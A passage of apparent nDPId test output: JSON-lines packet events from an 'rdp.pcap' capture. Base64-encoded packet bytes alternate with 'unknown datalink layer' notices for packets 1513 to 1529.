xVyUTA3EJgueG1ZmAeIBavHfB7UwCIwf+L7ngk50P1\/4d9Llz91H5cxqerBnTi9aonpfo79YHBT7VE4O8zfKqwn1Zq1JPaKIQTxpi5uYTZ7KnyxpcjmY7\/deMVfpdBNgRpBBpklC6j\/V0urBCqCkl3syCq7y2vDRSuPCEO1gItB86LeKNuqiIeT7C48fSA1FlwnooToFXJoa27+lt5hcGfw6l2RWoT7iWFjD88EUH1vN65bkIWzjP2jCl9wE9FPIMR7lSK+N1a1IfMmF\/apZDOvc6RT5nVHY0tzgLMfoAJQL3JwzQVphNfBq+ZqoB\/QFJO1sZW04ompwDplwEdfA0QjdZEIhYkJ8M2aJbmiIAqgljHiDvGpVVZG2cPy9fju9M0hwAo0MC+NeMtNwfipp\/GAx43N++DXx84ceqgnFV\/6VLqrV1Wxrc7cA9QAjqFjOX\/kKz5ktULDqg20jWyLLB+nMSz\/M6\/ynWEzk7roxWClFE5Dk7vURjBV+izAV3WKr+e0qXEFsaT+lzx2RJ0+gEge\/S+U6DIUr06Z6ICHCLV3CapP3MYBCf9xLgpvQX4xtk5fBr0jJFm43gXrxWunLhTZ5GfzJZqUjqvLi5m8Y0vIIuBkziYNRlsi9JroYtcJjWedjU6mZbqVzGDjD74V5knwP6v4J0r7MTSQyqb6yVEhLxKqR9wFhaBY9sO7JHu4kvF"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1513,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1514,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597191,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn9ZDUBAf\/g78AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1514,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00870{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1515,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597240,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNipEAAfwYlscCoAo6sEAK5DT3NDkef2zz5vRyEUBj1nLw+AAChZAGXEzA\/VlEtfE3iwvPpO6OgdDENPuTL184rZhApdL1BPlzb7uf8+LCYsKGK9PgaKB6FKLksiFA4HCR2lbpf3UmmEnbE8m+Hvzcaqyt8yWFplr\/ATySnBILwtVGc\/mHRL5nu2hL+8I+QzHmGkGvpJFH4ug7UFsaGSpvwH4tRtU0asSGT0dDRXGdB2AHnV\/J6SpUDrdtN\/XImvrWuhySfG\/SC+SsXGdcrdx7L1N4+Dz4cE80W7nAcsaWXLCmG7FsXOPHd3J5nmhHARgaNBQJP6\/OufWyQEcOEyVmX5GqgShSZQz72oLSzH8fCyiXafoXCfSN08ZpGRMLl65nteL\/swpdIpGiRRW8E97UBOlUk9\/cnQBAfStPgX8Q\/o0L39o1vuV9UoLjdqaFc\/+DomPjlHW7vhsJvdQrKF4JweRtes9KK+EbqFuFv5lAZERI2ZbSrRoRBEXUMEJKfJdB7U9RmDPVGrlAM2P1GvgGlGW1q+i7h+PA\/Ql\/DNcGo"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1515,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1516,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597422,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn9y3UBAf9AiSAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1516,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1517,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597541,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFipUAAfwYiMsCoAo6sEAK5DT3NDkef3Lf5vRyEUBD1nJ+HAAAXAwMGbwAAAAAAAAHtRxIlfy+HjbKwElFNQTZYByomhjDUWis4Do4Pz4IdTPbWpw5Ygi\/L1WJ8s8cgG1G4ZPhj8I88qbx7LyioWOPOM4UpOYzrYEc35IdVw3TZhcmF7K5Ud9RBTRGH5Cr0HQvHeZKYu2Z189apTpnlcLXET2NvHbZjxgtcGHhtNd7n5UH7s5bKmXZxhW7vkuJ0aMAvOog1DJ+fhnEtGxeBEDwy3buBc3MrQuGRmSbyzKIWeW2ISWTmuhMcF9q6FtdT0QOAcKkaUPbdp2OEWCQVHaf20jFu+8bE60Opn3jbbhHcEMPzebeeCpag+QjyzcGcPcO5ByhfeqsMyhjf9dO3XrcUrVBE76+1lx+speJyIIgdsXW8TuNPYGoTtnV78YVIvukM58iBG99UyKojLaFaj89uIyMI42kLrVqPIuyzvaPCotNld3mnuXUGNH6zhJMUGAUGqOCM5pBzfD2IlYak3cj10HbQWy2je3msaVMnQ8dW0Yz\/LAidOrpPJQesGVW6nWE1jb+El9cyRhAv5XO4OK1BShPsV2dOPAZ9zOuqLcNPAETvHWxKpC0liG1noFm3pginLyvfN7p1aKfUqLrXN2OhN12urmaG2egJ3\/Ag8ctD6Xnejg6+OREQICyXxCeKeS\/tD0oYRutHMjmGAGeWwMeDn4laODOIbc9H66DUVSSQka\/Tuz8zZYPP3C02+CQvhgo8PNa8Ep+pW\/ElUvvly7cHDPrQXIt4BHBCiy\/u6dbGpfh1k94bovt\/s9rcPp5ZPHZMcwgUjrIlBxVmJsUwLIoyRX9dULrMRouMFbeDKEVe2jDCAEPt8dGkVtVnJNhiDF2GtwagQ2d1TW5XDUAorbIHIqt23x7tqTuuag\/xeDPqnArm+WtjzeJz+BPGmIrdhyo9My1CpBcDHYuwYiDgpnRCQ99zUOmkzM3NcWbct7pPKMXQBDBk3CiS9UNZm01RbxCfCKdWZR7AQMLpbe0EeqBFfgNQcoHKrpcS3svhlFbS4co2MvbUuKUFdMrgrCu\/v\/3lvr2NYs8mi9P9ue1Di8V6455zjcUlLI2Y\/6mVqSfN1aZyR5Vs+SOHNq48vdPLO8vtL7ppnKMnrVkbZQdIgVlEFPHFO8YsHnGmTc6\/C6Ka+MJeE59fUK+tdXFAEgahuKzAoBBKirS7xSL0QLG98wf1NW6H5WCzHmJ9nSl3itqpEH\/w0ltxOOPSKqRuf3Yh\/+XI1+hSthor1o5+SfejcfrHPCHqM8ry0bVU4K+MN7r553ahKhU6AlyzwNXjcQIouUiCB5xWIF1eDfVfapj\/Hd6YmQ8Gw2U0m7qDY10Pu2oKURmYn0SpYgQo+WFmA4fHptF4Df0YLxWjJzPux+UgQsEEOUZhIlYeccP7SiIihtmix48GBWkOsQTlqPIg2u17u1Ex3rI4pn2DIy4pAJpVaV+uZbJrHS\/SDJ7n\/rmMySSKPd9rZdHO8lTEZU5xgJ8fcB026cjK25gU6GLmH\/qvfgVxQHYPOZC1stkwwQ7Aok4jpDS\/3JJ4yZlVBpklI5ytpCvpMEoAcG4SNFrKNuIgc4DxTazTE\/Pu0KDhtrcVz38m9lU40L3xRmPG59XjclOg30tkcVy57xi1d\/8zR7iu24zgQHP7EfcC5CrSoUMoEW9bJ9El\/ApxiQnbOv64nyGIPOalkZW9mnU1cs3y7FQV"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1517,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1518,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597598,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNipkAAfwYlr8CoAo6sEAK5DT3NDkef4bD5vRyEUBj1nCgdAAAXBXIZX\/8YULHFP1QDv7++cEqbkRiGaVnEI7uwJzJJfj9InUhU+u1AayImmu6tYhGl\/dKK2HMLUDzs\/5BIvg7UwDhKWLy0CHZshsP5Muuay87d\/b+MVUBC45sAGu+jX\/yOIWLUgJU429X3AbgrFfA4TFyZZTE49OG2L7VnyNzRveselOzu+bp0satNXW02U1yRLI9kcpOCR17NuYFGmhwTNJc3ejuiRJdcmUvACwOSyf5YBNH5YAL8ALOcDptW93Oj+5bCRCq4xqZSaPvSy7dUCsBnGGWoc7MsoxqVRvb36GTig+SGiwUsVJR6a\/YudFDNRG0UiQLy+3Z0CP7PdV8cZvZAnbIdOOFsgnOneShCpAUzhlDc8djjqyuVmkYbTsGl1\/hnH5POzOflAHublYC2+xDwHlUzHx90+wvd4gbpoUgUh8thVSXRfjT8gQZgwvPoDLo6F0j39OYaAlBdxWc4a9a3kDpt2en+4R0LCiIt0Oi8xH7VQ3CbBIwF"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1518,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1519,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597680,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn+MrUBAf9AIeAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1519,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1520,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597941,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFip0AAfwYiMMCoAo6sEAK5DT3NDkef4yv5vRyEUBD1nCBUAAAXAwMGbwAAAAAAAAHuVZgRtUlOxH46ybLFHrnGuyELXOoU\/88DbzgobWIxDOQ3lxaOlpYXHGtkEgT6PUNv93ZA0G0kTUg7SqWoF+QD582Vjd0kKXsGfB9BrRfExuPmW1NhFFYbS0D1PpXrkPLp7GzTX5DOhXjCq3KSCb+Gv0ArCyzmm7JB899OT757CcoixGSc7Idzi7YmqFSDwBvMacZnNuw6WSKySUJMFjiYCk9+uuqeDRqkhAezOmwTCmxfspd8vC7fh1stJJgn3xLEAAPdlhL6uGr0zyiGfe9HQCWQlvY0lvvKdKQl+FobNfzerN1CrGmlUow+NTu8anBwqdZYe+bCz7sMOkEQDFj5yREpi2zZvcinPmu3GNOC2PcTwYBxCLLTiO0IpyeZ8TNtUUSqNZAWX18nrcZlSwR52s8pXyaf5xSzI0QqQqGuaC\/DTEd2Htj\/qVj3B7jBB5H6cLkNeVpxM3b5gpYVhCaeKySWbvb5CwmM7SVdAWrtcdnv80AFsgFuTlHI2gdgv13bI0tqWjrfsiyGqFTAX94YBrZzd7grWhGa0m1n5osoKB22zEeXUOqdodz1Lt3+APKNf+fWLzvVzriearwAoHAVLpEyoctL+wss8A9Zsc\/CPUadCqbW7l4xGkhjkJYnlloX9LcyhuBmRxVspfB\/SkLClcF+lSEP9JpnXdS0iLo7tQQLTDbiXD79HZqOF\/BPbJ9jl9nLTowSLbiiwpNqD+PKa3jNYy0B\/DQAc9iCbf951VhQ\/hZRVp6bvXSqN1A\/m68vqaEPVygyut3uo9YEmCxoMo083E2lverZEmF1yBckN3OiRPxkfbVdgMa42VRbWmXCcYNzTCpIdBvycm\/z3JCJemtnJNz7cdZRE3FLqajzQb6K6mklTQMt9GTr+TAWOB+1dPDL860urJ6zn2+PfXFLSQupwuufzCJBhI90a5f0HADi73YMn0hNqjRgP44w2rzAWPONlLVpJX5jsaklvoB6iMS0wQUAm8xGNCBOwKhIhHVAbziLmzW3s8KK3zmmcF3xxYz3BJISHyDUu7TItsijZcqvHBNm8zdYQ0wmpTVhp9GtIBK4Cp4nGd9+GuSOlLScf5qWLOuUui00r4IRIE9NVclR4ucnn08kGvvro3ihu\/uPO1\/j15Cgsmrwfu39hELy\/Wi\/KmKdT06ErSjjaBVx+bYoG1jQc9YCZGKwoAYeCz\/L0m92+G54jhF4hFa0bYHhrQkD2MnmwTIN4fmwvPvB2bvY\/WQKIo3RMpId5BKZczlQj\/xBFz5Sudc+Ac4uqj1yRBfrKs4OX\/857uwmsnKzkM+j6gKU+4mMoyMk7mdmFxksC7TGU8H+koVdUH6XoSyPRKTx4MBUleXrsOpb5y4ei7p5ASVhVqC70ZPwIcUd\/wSJ4Bok9eCrZnhiioq4Hxwpj5tQ4A8t0oZnB6vGPaqWg4ir7afQvFIAKaus\/ax4KiryU0regayRIenQFMfQnWR1HU9LZ+D5FYzsj8HD5e5LqG5Rh4nXbFxcKG9lMSNEzxJqlMPS\/sVDXJM8GlArZgPyhLP8rTmTJh+YgoM0MXjwhpLsQskAB9mFbyJ3lbJ8VsPNosHOaJipiDSl5MGN5+gbSay3NhQmv761kjEXP4fshEX\/B5282M4RI3\/bL1vPFG0DG60Y6RhN0+VXc2RRWPk2rSB\/Qt+lIYYNXWDJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1520,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1521,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":597984,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiqEAAfwYlrcCoAo6sEAK5DT3NDkef6CT5vRyEUBj1nKrsAAAt3pdSweqDVUrVtAKMdJ6Jnzp2tayUnboLGKLA+SON7f27jLZm375NQ58hJuGtfDv8jnxTsyiMPVpq27H4ijOtrfGf+b\/Y0Isiz6PekjIPjyIsf9BA\/imlivivWN3xEwQ8r6jlKNgRilPbC43hkHIFWhW0rEjhSdXeKNyshteqcaM58j7ZRc71FygcWsICi2cXJfa1pdx6UDN0xk7Ikl22bqa9Fp28ZRB24agdiKRSIvqj5hOjHmGHQiCumJmAt3Pfuyi5+oU60s0IdhOCjBpX7AYhftChzot0vDO7quPvQDihdU7jTC7s16UFIoQ0VQnkIENNrWrlhaYz631a8krshzztpbK6Etoo8wTbl5j1ToLkSatdO61VkYSso5F+5Ndyq8pBaS5pCXHLOeotQb123qA2hC63PrJXz8Od1PjqhCCh240iFjZYoNMytIE6Tn8jBcd58KrUGwIzHvcXo46VpCAwpKv4LQiXQ9StcqXP4CENyzzgRqbRppwM"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1521,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1522,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598050,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn+mfUBAf9PupAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1522,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1523,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598170,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iqUAAfwYm8sCoAo6sEAK5DT3NDkef6Z\/5vRyEUBj1nNGOAAAXAwMAMAAAAAAAAAHv6rFR23tFZWGOE+HTmGKG7zK2uoEYvx5Ed8qi+JY26BWfoKrxT5SWPA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1523,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1524,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598327,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn+nUUBAf\/vtqAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1524,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1525,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598461,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiqkAAfwYiLcCoAo6sEAK5DT3NDkef6dT5vRyEUBD1nPLgAAAXAwMGbwAAAAAAAAHwgJKftQXPO30DWJM0jxm1\/S\/6IqX8D2NMgnulpYvpTMGYLcIXNsLmpqHKBolJOjht4TZC4CFbr2TCKT+2jhnzuXLb6jturra0m5K8zq+i3AGnNeALGDXba\/O52Bpg1jJWhJAZrhd2ovO6WxfvepdXjn2W6ks9iPm7YsmTPzIeqjOqElNRdW2RQWQnBj0hU4GmJIlzUTECcRSfjtRjbLXNLTl8MLN+rEohtgBsgse1ydonAH\/u4u84uSx1Cl0pCmSCq6PCy+bQUQjwbRs5o2AeMNr94v19rWaRY7bVEVSWtF9BRULkdgA6lPMj2M4GJolX+h9hOGfZ1i0axSxH72Fw6Sh8TGOdXrg2w\/Z2fe409MW1fFWBK7l210GYP04KOQerXNdd1FdxH+sVUWFGck2wYrgzct9lO2m9fHEVI2FFbcbXJtYMrvT\/yzNtc6mr7FXTnPLH75q5ZB7AG9u89VQMz\/zbfd3q2XuQ0uzEWGqEA24W7wEtZSpLSbkLplsGdvghN1ww4LNpgJpPmKmIblqn5qbaKZRvrn65xNAPBu7L\/zBt4+V3WIcB61J7PBXrWm6rYqfn0FUPh+mbNmSBBkTj4zsKh2+cxRv83Ez2QxBPoJyzll\/AJX0QcxyxnwzlhWzgI8ZwRiqqKRduRUru4Rmz3lOo9EbTBxdIxBXG+xrbQ4w0Xdg\/eB56d3iGYwOy3X056R5JHdxJPH8QtFdRzxHg9ulwGok+obISVhDWNcvE3BOOqtRmcuUdwbxJtz0EYkyqRU2K7PYo5agmn8fFSRJ5z9xlmXqK1qGoimec+XMR3UNqdS\/uA\/OxT7j\/dlyC22ZlQZbzQ86wcgSsCYvP8NLaw+Ff8VNRJfFU+Ned4Mq\/rk0cieAV6JJgIJjNN3gsN9uufJji8ijLcvEYMB\/V9Cmn9+9193KBVNL4NlKPUQwu\/NlPdxXqalxDGYbBlEazyxNqMbRveBX4f3yRsdSRUDGv\/Uk8PNj30iN2I3MTTKy0oIAMIyO4Itl\/yxxADArIid+wM5d7UiINtkJojCiv7PyBeJKq04ovPGbZSINIVreCC1UBhvdatHLTWH+Ixqx1UiH1bIOi1WU0\/vtCy6MqtG\/mmHoANXfpNOZ5OY9YqnR5GAGpnyBe8jEiF57zv8h7S4PrXVo\/UUCwC\/BJGOhJxcz2xRJT8DCRn9ImybAm575nJVHLBZfeM0cvFxTgDFO4ln3OKYUCTyhHGc1JhvR8nxOr+Hbt\/Rvk1HYJg8WFyCEq71rErAQdjVng+hZBYirbwGkejxKGM7dMAs5CKfBIwDschtyF1uKxoMyvxhVzQDZTZjCxsp9ti9pFCYHcaa7nNhAdNtbAfOSiULKY9EksyvsAXujht1bpDQx93K1nCTkAErIiwReefSRfeq2ZW4dDlrxgZX5v8z51oNK1dZCugeXhjReszkTAQTex4lgg3Eite2XST3qp5tHKOzMAgAAc7XV6IK+knRHrxV6SUyGpg85vEWCllkpcmqg3RBKyaV\/MuUUOnz8nXN6KCtSCiAbt5rIiStUPVcdFPk39ub6lRkD6VtXzzBIbUWV+ViMaCWX95h8w9HRBN7tf33BcE+nqbfZTod56sBsS8UdcfWGRDyH2w+vuAe6yI6ef\/JXjZwYctyJ\/wvxd4TL1P+zvF3TYexmzQbfDdh7VfgiNVmxm"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1525,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1526,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598508,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiq0AAfwYlqsCoAo6sEAK5DT3NDkef7s35vRyEUBj1nKTOAAAKUcFs+gN8tgrs2tFAYc2nF+cswVpsemHV1Ci9NmTwrhaakUv9jG6eB+cEOrjbja0RfsMeYP90bU8AX\/DLfk+kcBw8B+pDdnFa3gzKtA\/1jY\/bS2vxT2EARosyHJ9pvVF2JCUGaHkYHWDwZmbOI1Ujn0zLsAkcyJqrVthGOIPUeMAoeZXLOT2vlbH5AdtCNooI5WN3jT4ldv4aBrWvpNRR3i15u55pmRz97HmISvgTCb1EAQv8ZglvrUxzlAU6wTiVs1x91WX\/bDOksNHc+KPQKNemeaVAoUp09qMlNuq6li\/Qe3+XxuzwTkdH\/pAZVBPfClUXn4hxDi9UqrCr\/PeJ5Q9gNV1Z9szFLn3NnckuqsPbRLC4xfg2QHCg0hwjggAWwDYbgVkqvHZrtwR71vgBLitdj55cBt9I\/SZpQt91pxMyT2i4384JQ3j2MkVWol+x6DCQcW6ZvC4QiYWV4qRWF5lFb4aAJcismtV9sg95BANadpkHzenK2s4m"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1526,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1527,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598567,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HO5Hn\/BIUBAf9PUAAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1527,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1528,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598871,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFirEAAfwYiK8CoAo6sEAK5DT3NDkef8Ej5vRyEUBD1nBM4AAAXAwMGbwAAAAAAAAHxO50cAe3sJD5QUBNRvWCwFOpqOj8xN\/Jdto\/+v4CBu41YB1bCaTRTy2PUKMXuT9DqZ91ukTnTZltphtjoBlAhnSQlQu1xcWF2XfL1348tbN+Ecq3xiZLiqqe6eZyNbBq0UY0Es23oEPUZoDkxuwk2ezgZskbEqCF\/bBWLHwbhFEk\/DV\/pbi7bsHzP4u0Ra09nPmiKAiJkZGyclP0B9Zji\/sDT3hdNGhF4q+hugXlUO7JwlvZyRhbw0gxzCyFZjkQ9Ug5rj6UVDeGISTVFrPqioD2udgN8m259Q8la6waA69andY54x\/ngeEjCeFO3bWWx3FWSnKUzI\/KseNXSG953mt6yQvcoM8qEUxg2jedY07ZfBRgjHy\/4qfQzgc9wRienO59WH23l9hg2o0DZ5rJ95rEy88sJNjsoQRNTmOU67gC1fENrMIM9EYUR1sqZITHfR+UfczLYzHmAmFxwMYhw3E0b0zoh4Vjzx1JsaYWjLTe+EeHvu7+tS9NPGYUCWXXBJtcrCfSKnUqSLrFX0htzGNP7GTPMGkcCtqQ2wUuNtTrNtDaPzRUDipwmG\/msSCxL5GoNiVmeeCqBCRqKGTjLnPOkCF+MIv75Ye99AQKxwAI9LPRhmnXxGKc\/3uSXpeSnkDyyMTVKnPX4ZEJnXYSna9VYOvmFkrEe4XJ9B8bTIwJw+nRQzebw\/GCMC6EmdcU8GvbsJz863Eq2lee3FidD5xjP8vzVr4IkxpfDrAL3plVu0C\/uckl7BeoI2pfORU3\/ET4cAUtmxe9PKtUC7nitXvFmf7zyUWWprO85zo\/GzlZEnyzDapOHBR38xypFtzknJYAJIfn32sahvUCMEGNhJrhOwTqy7Ow3FKviR498FszRZn7v3POYL0ZA9MvLgWW5w2axwIcg9rIMsan4yWgla\/jJdnplXzvSb\/prVTlaDwd\/mqdq\/QUxdj6KbUeqaCgcpx7i3JhIT30mMOCBH9QhdQnn\/\/o4k9zYhAtbiki90I6GCxXueRWbcKSc5H1XlvAe4\/hqsBoTTfUJ4V\/5nt6qr0\/Vj6F1px4Cn\/yIxoVkFsAf2SdaMbKeEiXO3+9MRIX5hp+JGipb2iXx6UrAr1axjwLyYuwGwUSqGbEdmjJJr6wFyMtRmAI1453zyFn1Qi5errAJRkWO9n6FDnwleDSjpH9NtLoZ2lamJ9kJhe3pjdSORS6A4uqOl\/1X8YXdE1JFeTTo0nyN0mNB0J0HI3JOa60cd4pOTLaTe0BeJUualp70SMviH8o8iS51W82NsEHfp\/z0aiN16cNbLXj8ZaykZnUpMqjLaqnsTCREqKxSLg2g1jCLJS3ZdBUVsNIv7RnBerlmRlAM4jhYgmSPTvwigfLbrFimJ+91YdpGpbEfdM\/8znL2nX3FguRF1ZB3SrL3l\/92x\/8gUJDTAUYA\/UC7PcCIXx5rno7kD4EdKyBcSQ2H7sTv7ZPQk6iVd3IdpZ+6j4MSitGPqZuD\/dzroKyH5OTRdBIVxsuHiJ6DIgOD5MaKZ4l6Azr7Q0vIm83JlZCoF8M7kPJELDsP3IOYyvSOTufQa08J1\/l9eNukguuOKK74VOlP2zLaUjtov7Bb1CYzuzvaIpe5c0heLiWbjtzjyFJc\/H5bqNuiUAzrClHjWemEQWf3rjq067Iv9Gz4ic\/WrO6nGungQLzFbbc6"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1528,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1529,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":598923,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNirUAAfwYlqMCoAo6sEAK5DT3NDkef9UH5vRyEUBj1nO\/\/AABkPpIcs7jvS\/XBemuHTOcbgXIDFXeqI30iUMLPFTxkFPNLithCkviZ5Z98lccV6J1gZI9A6g2BWdI+OytvbnGJL7h2INvcY+ysW6GrBI9KBbEBB2YfJnNpMcWF5KCA5SAmCDFmlQb0MubKpcI58uDP87As6pcEGN2vUbOwBS8jwj1DhDORd4vEs2Gcyzo3yYLXMxHT6qgqgjibJr27bUarnbBRK3nduU8M6S3qvD5V3QYxk9gIIbRBdjYxYcuEWT\/jjvZhcq+OlzRTgHAUm+aa1GUiyZJoxeYZ1nvYV5Fz1bIsMWKHQR8Alm4h0YaH4mCE94vhTynohwd9PWLqMd7IB+uSUdpHArA8gzF+z+YcO0ZrgW1YylzJaBdU\/l3B0ahXxS7UrTjbXGblUjYjWCkZUIomrlWwuAtIO73kTo\/12Tbqtbvg3dE1vic5mdX60ktveETzOztOrh1E6Bz6z8R2I2Hx\/EmIwIGqcpbC2jZaSuaWVQrKjTHtlwkJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 